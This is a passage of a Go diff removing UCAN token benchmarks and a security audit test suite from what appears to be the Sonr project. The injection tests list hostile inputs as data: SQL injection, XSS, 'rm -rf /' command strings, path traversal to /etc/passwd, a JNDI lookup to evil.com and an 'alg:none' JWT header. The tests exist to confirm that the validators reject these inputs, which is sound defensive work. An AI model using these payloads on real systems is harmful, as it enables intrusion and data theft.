refresher.HandleRefreshToken(recorder, httpReq)
|
||||
|
||||
if recorder.Code != http.StatusOK {
|
||||
b.Fatalf("Refresh token failed: %d", recorder.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkConcurrentUCANOperations benchmarks concurrent UCAN operations
|
||||
func BenchmarkConcurrentUCANOperations(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
|
||||
userDID := "did:sonr:concurrent-user"
|
||||
clientDID := "did:sonr:concurrent-client"
|
||||
scopes := []string{"vault:read", "dwn:write"}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
b.RunParallel(func(pb *testing.PB) {
|
||||
for pb.Next() {
|
||||
token, err := delegator.CreateDelegation(
|
||||
userDID,
|
||||
clientDID,
|
||||
scopes,
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
|
||||
// Verify the token
|
||||
_, err = signer.VerifySignature(token.Raw)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// BenchmarkLargeAttenuationList benchmarks performance with many attenuations
|
||||
func BenchmarkLargeAttenuationList(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
|
||||
// Create token with many attenuations
|
||||
var attenuations []ucan.Attenuation
|
||||
modules := []string{"vault", "dwn", "service", "did", "dex"}
|
||||
actions := []string{"read", "write", "delete", "admin"}
|
||||
|
||||
for _, module := range modules {
|
||||
for _, action := range actions {
|
||||
attenuations = append(attenuations, ucan.Attenuation{
|
||||
Capability: &ucan.SimpleCapability{Action: action},
|
||||
Resource: &handlers.SimpleResource{Scheme: module, Value: "test"},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
token := &ucan.Token{
|
||||
Issuer: "did:sonr:large-user",
|
||||
Audience: "did:sonr:large-client",
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
NotBefore: time.Now().Unix(),
|
||||
Attenuations: attenuations,
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
signedToken, err := signer.Sign(token)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
|
||||
_, err = signer.VerifySignature(signedToken)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkModuleSpecificValidation benchmarks module-specific validation
|
||||
func BenchmarkModuleSpecificValidation(b *testing.B) {
|
||||
didValidator := NewMockDIDValidator()
|
||||
dwnValidator := NewMockDWNValidator()
|
||||
svcValidator := NewMockServiceValidator()
|
||||
|
||||
// Setup test data
|
||||
didValidator.didDocuments["did:sonr:bench-user"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:bench-user",
|
||||
}
|
||||
|
||||
svcValidator.services["bench-service"] = &svctypes.Service{
|
||||
Id: "bench-service",
|
||||
Owner: "did:sonr:bench-user",
|
||||
}
|
||||
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
|
||||
token, _ := delegator.CreateDelegation(
|
||||
"did:sonr:bench-user",
|
||||
"did:sonr:bench-client",
|
||||
[]string{"did:read", "dwn:write", "service:read"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
// Test all three modules
|
||||
_ = didValidator.ValidateUCANPermission(ctx, token, "read", "did:sonr:bench-user")
|
||||
_ = dwnValidator.ValidateUCANPermission(ctx, token, "write", "dwn:bench-user")
|
||||
_ = svcValidator.ValidateUCANPermission(ctx, token, "read", "bench-service")
|
||||
}
|
||||
}
|
||||
|
||||
// Performance test with target metrics
|
||||
func TestPerformanceTargets(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("Skipping performance tests in short mode")
|
||||
}
|
||||
|
||||
// Define performance targets
|
||||
targets := map[string]time.Duration{
|
||||
"UCAN Creation": 10 * time.Millisecond,
|
||||
"UCAN Signing": 5 * time.Millisecond,
|
||||
"UCAN Verification": 5 * time.Millisecond,
|
||||
"Scope Mapping": 1 * time.Millisecond,
|
||||
"Chain Validation": 15 * time.Millisecond,
|
||||
}
|
||||
|
||||
results := make(map[string]time.Duration)
|
||||
|
||||
// Measure UCAN Creation
|
||||
start := time.Now()
|
||||
iterations := 1000
|
||||
|
||||
mockKeeper := createTestDIDKeeper()
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(mockKeeper, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
|
||||
for i := 0; i < iterations; i++ {
|
||||
_, err := delegator.CreateDelegation(
|
||||
"did:sonr:test-user",
|
||||
"did:sonr:test-client",
|
||||
[]string{"vault:read", "dwn:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
require.NoError(t, err)
|
||||
}
|
||||
results["UCAN Creation"] = time.Since(start) / time.Duration(iterations)
|
||||
|
||||
// Measure UCAN Signing
|
||||
token := &ucan.Token{
|
||||
Issuer: "did:sonr:test-user",
|
||||
Audience: "did:sonr:test-client",
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
start = time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
_, err := signer.Sign(token)
|
||||
require.NoError(t, err)
|
||||
}
|
||||
results["UCAN Signing"] = time.Since(start) / time.Duration(iterations)
|
||||
|
||||
// Measure UCAN Verification
|
||||
signedToken, err := signer.Sign(token)
|
||||
require.NoError(t, err)
|
||||
|
||||
start = time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
_, err := signer.VerifySignature(signedToken)
|
||||
require.NoError(t, err)
|
||||
}
|
||||
results["UCAN Verification"] = time.Since(start) / time.Duration(iterations)
|
||||
|
||||
// Measure Scope Mapping
|
||||
scopeMapper := handlers.NewScopeMapper()
|
||||
scopes := []string{"vault:read", "dwn:write", "service:read"}
|
||||
resourceContext := map[string]string{"vault_address": "test"}
|
||||
|
||||
start = time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
attenuations := scopeMapper.MapToUCAN(scopes, "user", "client", resourceContext)
|
||||
require.NotEmpty(t, attenuations)
|
||||
}
|
||||
results["Scope Mapping"] = time.Since(start) / time.Duration(iterations)
|
||||
|
||||
// Measure Chain Validation
|
||||
token1, _ := signer.CreateDelegationToken(
|
||||
"did:sonr:user",
|
||||
"did:sonr:client-a",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
token2, _ := signer.CreateDelegationToken(
|
||||
"did:sonr:client-a",
|
||||
"did:sonr:client-b",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)},
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
chain := []string{token1, token2}
|
||||
|
||||
start = time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
err := signer.ValidateDelegationChain(chain)
|
||||
require.NoError(t, err)
|
||||
}
|
||||
results["Chain Validation"] = time.Since(start) / time.Duration(iterations)
|
||||
|
||||
// Check against targets
|
||||
t.Logf("Performance Results:")
|
||||
for operation, target := range targets {
|
||||
actual := results[operation]
|
||||
t.Logf(" %s: %v (target: %v)", operation, actual, target)
|
||||
|
||||
if actual > target {
|
||||
t.Errorf("%s performance (%v) exceeds target (%v)", operation, actual, target)
|
||||
}
|
||||
}
|
||||
|
||||
// Memory usage test
|
||||
var memStats runtime.MemStats
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&memStats)
|
||||
before := memStats.Alloc
|
||||
|
||||
// Perform operations
|
||||
for i := 0; i < 100; i++ {
|
||||
token, _ := delegator.CreateDelegation(
|
||||
"did:sonr:mem-user",
|
||||
"did:sonr:mem-client",
|
||||
[]string{"vault:read"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
_, _ = signer.Sign(token)
|
||||
}
|
||||
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&memStats)
|
||||
after := memStats.Alloc
|
||||
|
||||
memUsed := after - before
|
||||
t.Logf("Memory used for 100 operations: %d bytes (%d KB)", memUsed, memUsed/1024)
|
||||
|
||||
// Target: < 1MB for 100 operations
|
||||
if memUsed > 1024*1024 {
|
||||
t.Errorf("Memory usage (%d bytes) exceeds 1MB target", memUsed)
|
||||
}
|
||||
}
|
||||
@@ -1,788 +0,0 @@
|
||||
package integration
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/bridge/handlers"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
"github.com/sonr-io/sonr/x/did/types"
|
||||
)
|
||||
|
||||
// securityMockDIDKeeper implements DIDKeeperInterface for security testing
|
||||
type securityMockDIDKeeper struct {
|
||||
didDocuments map[string]*types.DIDDocument
|
||||
}
|
||||
|
||||
func (m *securityMockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*types.DIDDocument, error) {
|
||||
if doc, ok := m.didDocuments[did]; ok {
|
||||
return doc, nil
|
||||
}
|
||||
return nil, fmt.Errorf("DID document not found: %s", did)
|
||||
}
|
||||
|
||||
func (m *securityMockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*types.VerificationMethod, error) {
|
||||
doc, err := m.GetDIDDocument(ctx, did)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, vm := range doc.VerificationMethod {
|
||||
if vm.Id == methodID {
|
||||
return vm, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("verification method not found")
|
||||
}
|
||||
|
||||
// SecurityAuditTestSuite conducts comprehensive security validation
|
||||
type SecurityAuditTestSuite struct {
|
||||
suite.Suite
|
||||
signer *handlers.BlockchainUCANSigner
|
||||
delegator *handlers.UCANDelegator
|
||||
scopeMapper *handlers.ScopeMapper
|
||||
mockKeeper *securityMockDIDKeeper
|
||||
|
||||
testUserDID string
|
||||
testClientDID string
|
||||
maliciousDID string
|
||||
}
|
||||
|
||||
func (suite *SecurityAuditTestSuite) SetupSuite() {
|
||||
// Create test keys
|
||||
userPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
clientPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
maliciousPubKey, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
|
||||
// Setup mock DID keeper with test documents
|
||||
suite.mockKeeper = &securityMockDIDKeeper{
|
||||
didDocuments: map[string]*types.DIDDocument{
|
||||
"did:sonr:security-user": {
|
||||
Id: "did:sonr:security-user",
|
||||
VerificationMethod: []*types.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:security-user#keys-1",
|
||||
Controller: "did:sonr:security-user",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: base64.StdEncoding.EncodeToString(userPubKey),
|
||||
},
|
||||
},
|
||||
},
|
||||
"did:sonr:security-client": {
|
||||
Id: "did:sonr:security-client",
|
||||
VerificationMethod: []*types.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:security-client#keys-1",
|
||||
Controller: "did:sonr:security-client",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: base64.StdEncoding.EncodeToString(clientPubKey),
|
||||
},
|
||||
},
|
||||
},
|
||||
"did:sonr:malicious-actor": {
|
||||
Id: "did:sonr:malicious-actor",
|
||||
VerificationMethod: []*types.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:malicious-actor#keys-1",
|
||||
Controller: "did:sonr:malicious-actor",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: base64.StdEncoding.EncodeToString(maliciousPubKey),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(suite.mockKeeper, "did:sonr:oauth-provider")
|
||||
suite.signer = signer
|
||||
suite.delegator = handlers.NewUCANDelegator(signer)
|
||||
suite.scopeMapper = handlers.NewScopeMapper()
|
||||
|
||||
suite.testUserDID = "did:sonr:security-user"
|
||||
suite.testClientDID = "did:sonr:security-client"
|
||||
suite.maliciousDID = "did:sonr:malicious-actor"
|
||||
}
|
||||
|
||||
// TestTokenExpiration validates token expiration enforcement
|
||||
func (suite *SecurityAuditTestSuite) TestTokenExpiration() {
|
||||
// Test 1: Expired token rejection
|
||||
expiredToken, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
-1*time.Hour, // Already expired
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
_, err = suite.signer.VerifySignature(expiredToken)
|
||||
suite.Error(err, "Expired token must be rejected")
|
||||
suite.Contains(err.Error(), "expired", "Error should mention expiration")
|
||||
|
||||
// Test 2: Future not-before time
|
||||
|
||||
// Manually create token with future not-before
|
||||
token := &ucan.Token{
|
||||
Issuer: suite.testUserDID,
|
||||
Audience: suite.testClientDID,
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
NotBefore: time.Now().Add(time.Hour).Unix(), // Valid in 1 hour
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
signedFutureToken, err := suite.signer.Sign(token)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
_, err = suite.signer.VerifySignature(signedFutureToken)
|
||||
suite.Error(err, "Token with future not-before must be rejected")
|
||||
|
||||
// Test 3: Valid time window
|
||||
validToken, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
_, err = suite.signer.VerifySignature(validToken)
|
||||
suite.NoError(err, "Valid token within time window must be accepted")
|
||||
}
|
||||
|
||||
// TestMalformedTokens validates rejection of malformed tokens
|
||||
func (suite *SecurityAuditTestSuite) TestMalformedTokens() {
|
||||
malformedTokens := []struct {
|
||||
name string
|
||||
token string
|
||||
}{
|
||||
{"Empty token", ""},
|
||||
{"Not JWT format", "not-a-jwt-token"},
|
||||
{"Incomplete JWT", "header."},
|
||||
{"Invalid base64", "invalid.base64!.data"},
|
||||
{"Missing signature", "header.payload."},
|
||||
{"Extra segments", "header.payload.signature.extra"},
|
||||
{"Null bytes", "header\x00.payload.signature"},
|
||||
{"SQL injection attempt", "'; DROP TABLE tokens; --"},
|
||||
{"XSS attempt", "<script>alert('xss')</script>"},
|
||||
{"Buffer overflow attempt", strings.Repeat("A", 10000)},
|
||||
}
|
||||
|
||||
for _, test := range malformedTokens {
|
||||
suite.Run(test.name, func() {
|
||||
_, err := suite.signer.VerifySignature(test.token)
|
||||
suite.Error(err, "Malformed token '%s' must be rejected", test.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrivilegeEscalation validates prevention of privilege escalation
|
||||
func (suite *SecurityAuditTestSuite) TestPrivilegeEscalation() {
|
||||
// Create parent token with limited permissions
|
||||
parentToken, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
"did:sonr:intermediate",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"}, // Only read
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Attempt to escalate privileges in child token
|
||||
escalatedToken, err := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:intermediate",
|
||||
suite.maliciousDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete", "admin"}}, // Escalation!
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(parentToken)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err) // Token creation should succeed
|
||||
|
||||
// But delegation chain validation should fail
|
||||
err = suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken})
|
||||
suite.Error(err, "Privilege escalation must be detected and rejected")
|
||||
suite.Contains(err.Error(), "attenuation", "Error should mention improper attenuation")
|
||||
}
|
||||
|
||||
// TestScopeInjection validates prevention of scope injection attacks
|
||||
func (suite *SecurityAuditTestSuite) TestScopeInjection() {
|
||||
maliciousScopes := []string{
|
||||
"vault:read; DROP TABLE users; --",
|
||||
"vault:read' OR '1'='1",
|
||||
"vault:read<script>alert('xss')</script>",
|
||||
"vault:read\x00admin",
|
||||
"vault:read\nvault:admin",
|
||||
"vault:read\rvault:admin",
|
||||
"vault:read\tvault:admin",
|
||||
"vault:*; system('rm -rf /')",
|
||||
"../../../etc/passwd:read",
|
||||
"${jndi:ldap://evil.com/malicious}",
|
||||
}
|
||||
|
||||
for _, maliciousScope := range maliciousScopes {
|
||||
suite.Run("Scope injection: "+maliciousScope, func() {
|
||||
// Attempt to validate malicious scope
|
||||
err := suite.scopeMapper.ValidateScopes([]string{maliciousScope})
|
||||
suite.Error(err, "Malicious scope must be rejected: %s", maliciousScope)
|
||||
|
||||
// Even if scope validation passes, mapping should be safe
|
||||
resourceContext := map[string]string{"test": "value"}
|
||||
attenuations := suite.scopeMapper.MapToUCAN(
|
||||
[]string{maliciousScope},
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
resourceContext,
|
||||
)
|
||||
|
||||
// Should either be empty or contain safe attenuations
|
||||
for _, att := range attenuations {
|
||||
actions := att.Capability.GetActions()
|
||||
for _, action := range actions {
|
||||
// Actions should not contain injection payloads
|
||||
suite.NotContains(action, "DROP", "Action should not contain SQL injection")
|
||||
suite.NotContains(action, "<script>", "Action should not contain XSS")
|
||||
suite.NotContains(action, "system(", "Action should not contain command injection")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestResourceInjection validates prevention of resource injection attacks
|
||||
func (suite *SecurityAuditTestSuite) TestResourceInjection() {
|
||||
maliciousResources := []string{
|
||||
"../../../etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"http://evil.com/steal-data",
|
||||
"javascript:alert('xss')",
|
||||
"data:text/html,<script>alert('xss')</script>",
|
||||
"\\\\evil.com\\share\\malware.exe",
|
||||
"C:\\Windows\\System32\\cmd.exe",
|
||||
"/dev/random",
|
||||
"proc/self/environ",
|
||||
"vault:test; rm -rf /",
|
||||
}
|
||||
|
||||
for _, maliciousResource := range maliciousResources {
|
||||
suite.Run("Resource injection: "+maliciousResource, func() {
|
||||
resource := &handlers.SimpleResource{
|
||||
Scheme: "vault",
|
||||
Value: maliciousResource,
|
||||
}
|
||||
|
||||
attenuation := ucan.Attenuation{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: resource,
|
||||
}
|
||||
|
||||
token := &ucan.Token{
|
||||
Issuer: suite.testUserDID,
|
||||
Audience: suite.testClientDID,
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: []ucan.Attenuation{attenuation},
|
||||
}
|
||||
|
||||
// Validation should reject dangerous resources
|
||||
err := suite.delegator.ValidateDelegation(token, []string{"vault:read"})
|
||||
|
||||
// Should be safe - either rejected or sanitized
|
||||
if err == nil {
|
||||
// If accepted, verify resource is sanitized
|
||||
suite.NotContains(resource.GetValue(), "..", "Resource should not contain path traversal")
|
||||
suite.NotContains(resource.GetValue(), "<script>", "Resource should not contain XSS")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestDelegationChainManipulation validates delegation chain integrity
|
||||
func (suite *SecurityAuditTestSuite) TestDelegationChainManipulation() {
|
||||
// Create legitimate delegation chain
|
||||
token1, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
"did:sonr:client-a",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
token2, err := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:client-a",
|
||||
"did:sonr:client-b",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test 1: Broken chain (wrong audience/issuer)
|
||||
brokenToken, err := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:wrong-issuer", // Should be client-b
|
||||
"did:sonr:client-c",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token2)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.signer.ValidateDelegationChain([]string{token1, token2, brokenToken})
|
||||
suite.Error(err, "Broken delegation chain must be rejected")
|
||||
|
||||
// Test 2: Missing proof
|
||||
noproofToken, err := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:client-b",
|
||||
"did:sonr:client-c",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil, // Missing proof!
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.signer.ValidateDelegationChain([]string{token1, token2, noproofToken})
|
||||
suite.Error(err, "Chain with missing proof must be rejected")
|
||||
|
||||
// Test 3: Invalid proof (wrong token)
|
||||
wrongproofToken, err := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:client-b",
|
||||
"did:sonr:client-c",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)}, // Wrong proof (should be token2)
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.signer.ValidateDelegationChain([]string{token1, token2, wrongproofToken})
|
||||
suite.Error(err, "Chain with wrong proof must be rejected")
|
||||
}
|
||||
|
||||
// TestReplayAttacks validates protection against token replay
|
||||
func (suite *SecurityAuditTestSuite) TestReplayAttacks() {
|
||||
// Create valid token
|
||||
token, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// First use should succeed
|
||||
parsedToken1, err := suite.signer.VerifySignature(token)
|
||||
suite.NoError(err, "First token use should succeed")
|
||||
suite.NotNil(parsedToken1)
|
||||
|
||||
// Subsequent uses should also succeed (bearer tokens are reusable)
|
||||
// But in production, nonce/jti tracking would prevent replay
|
||||
parsedToken2, err := suite.signer.VerifySignature(token)
|
||||
suite.NoError(err, "Token reuse is allowed for bearer tokens")
|
||||
|
||||
// Verify tokens are identical
|
||||
suite.Equal(parsedToken1.Raw, parsedToken2.Raw)
|
||||
|
||||
// Test with very short-lived token to ensure time-based replay protection
|
||||
shortToken, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
100*time.Millisecond,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Should work immediately
|
||||
_, err = suite.signer.VerifySignature(shortToken)
|
||||
suite.NoError(err, "Token should work immediately")
|
||||
|
||||
// Wait for expiration
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
// Should fail after expiration (natural replay protection)
|
||||
_, err = suite.signer.VerifySignature(shortToken)
|
||||
suite.Error(err, "Expired token should prevent replay")
|
||||
}
|
||||
|
||||
// TestCryptographicIntegrity validates cryptographic security
|
||||
func (suite *SecurityAuditTestSuite) TestCryptographicIntegrity() {
|
||||
// Create valid token
|
||||
token := &ucan.Token{
|
||||
Issuer: suite.testUserDID,
|
||||
Audience: suite.testClientDID,
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
signedToken, err := suite.signer.Sign(token)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test 1: Token tampering detection
|
||||
tampered := strings.Replace(signedToken, "read", "admin", 1)
|
||||
_, err = suite.signer.VerifySignature(tampered)
|
||||
suite.Error(err, "Tampered token must be rejected")
|
||||
|
||||
// Test 2: Signature stripping
|
||||
parts := strings.Split(signedToken, ".")
|
||||
if len(parts) == 3 {
|
||||
noSig := parts[0] + "." + parts[1] + "."
|
||||
_, err = suite.signer.VerifySignature(noSig)
|
||||
suite.Error(err, "Token without signature must be rejected")
|
||||
}
|
||||
|
||||
// Test 3: Header manipulation
|
||||
if len(parts) == 3 {
|
||||
maliciousHeader := "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0" // {"alg":"none","typ":"JWT"}
|
||||
noAlg := maliciousHeader + "." + parts[1] + "." + parts[2]
|
||||
_, err = suite.signer.VerifySignature(noAlg)
|
||||
suite.Error(err, "Token with 'none' algorithm must be rejected")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDenialOfService validates protection against DoS attacks
|
||||
func (suite *SecurityAuditTestSuite) TestDenialOfService() {
|
||||
// Test 1: Large token payload
|
||||
var largeAttenuations []ucan.Attenuation
|
||||
for i := 0; i < 1000; i++ { // Very large number of attenuations
|
||||
largeAttenuations = append(largeAttenuations, ucan.Attenuation{
|
||||
Capability: &ucan.SimpleCapability{Action: fmt.Sprintf("action_%d", i)},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: fmt.Sprintf("resource_%d", i)},
|
||||
})
|
||||
}
|
||||
|
||||
largeToken := &ucan.Token{
|
||||
Issuer: suite.testUserDID,
|
||||
Audience: suite.testClientDID,
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: largeAttenuations,
|
||||
}
|
||||
|
||||
// Should either handle gracefully or reject with reasonable time
|
||||
start := time.Now()
|
||||
_, err := suite.signer.Sign(largeToken)
|
||||
duration := time.Since(start)
|
||||
|
||||
// Should complete within reasonable time (or reject)
|
||||
suite.Less(duration, 5*time.Second, "Large token processing should not cause excessive delay")
|
||||
|
||||
if err == nil {
|
||||
// If signing succeeds, verification should also be reasonable
|
||||
signedLargeToken, _ := suite.signer.Sign(largeToken)
|
||||
|
||||
start = time.Now()
|
||||
_, err = suite.signer.VerifySignature(signedLargeToken)
|
||||
duration = time.Since(start)
|
||||
|
||||
suite.Less(duration, 5*time.Second, "Large token verification should not cause excessive delay")
|
||||
}
|
||||
|
||||
